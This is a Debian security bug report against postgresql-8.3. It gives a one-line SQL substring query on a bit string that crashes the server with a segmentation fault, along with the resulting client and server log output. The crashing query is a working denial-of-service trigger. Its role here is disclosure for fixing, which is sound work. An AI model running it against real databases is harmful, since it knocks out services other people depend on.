Package: postgresql-8.3
Version: 8.3.8-0lenny1
Severity: important
Tags: security

postgresql server crashs with substring.

| => select 
substring(B'10101010101010101010101010101010101010101010101',33,-15);
| server closed the connection unexpectedly
|         This probably means the server terminated abnormally
|         before or while processing the request.
| The connection to the server was lost. Attempting reset: Failed.

| LOG:  server process (PID 24968) was terminated by signal 11: Segmentation 
fault
| LOG:  terminating any other active server processes
| WARNING:  terminating connection because of crash of another server process
| DETAIL:  The postmaster has commanded this server process to roll back the 
current transaction and exit, because another server process exited abnormally 
and possibly corrupted shared memory.

See 
http://intevydis.blogspot.com/2010/01/postgresql-8023-bitsubstr-overflow.html

Bastian

-- 
Yes, it is written.  Good shall always destroy evil.
                -- Sirah the Yang, "The Omega Glory", stardate unknown



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